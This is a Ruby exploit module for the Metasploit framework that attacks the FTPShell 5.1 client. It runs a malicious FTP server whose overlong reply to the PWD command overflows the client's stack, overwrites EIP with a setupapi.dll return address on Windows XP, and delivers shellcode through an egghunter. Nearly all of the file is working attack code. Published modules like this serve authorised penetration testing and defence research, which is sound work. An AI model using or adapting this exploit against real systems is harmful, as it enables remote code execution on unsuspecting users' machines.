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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Exploit::Remote::FtpServer
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  include Exploit::Remote::Egghunter
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'FTPShell 5.1 Stack Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
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          triggered when the ftp client tries to process an overly long response to a PWD
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          command. This will overwrite the saved EIP and structured exception handler.
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        },
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        'Author' => [
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          'corelanc0d3r <peter.ve[at]corelan.be>'	# found bug, wrote the exploit
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2017-6465' ],
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          [ 'OSVDB', '68639'],
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          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], # jmp ebp [setupapi.dll]]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2010-10-12',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def setup
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    super
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  end
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  def on_client_unknown_command(c, cmd, arg)
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    c.put("200 OK\r\n")
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  end
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  def on_client_command_pwd(c, arg)
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    badchars = ""
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    eggoptions =
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      {
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        :checksum => true,
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        :eggtag => "w00t"
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      }
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    hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)
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    print_status(" - PWD command -> Sending payload")
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    junk = "A" * target['Offset']
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    nops = "A" * 10
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    tweakhunter = "\x5a\x5a"
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    eip = [target.ret].pack('V')
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    buffer = junk + eip + nops + tweakhunter + hunter + egg
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    pwdoutput = "257  \"/" + buffer + "\" is current directory\r\n"
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    c.put(pwdoutput)
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    print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
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    return
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  end
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end
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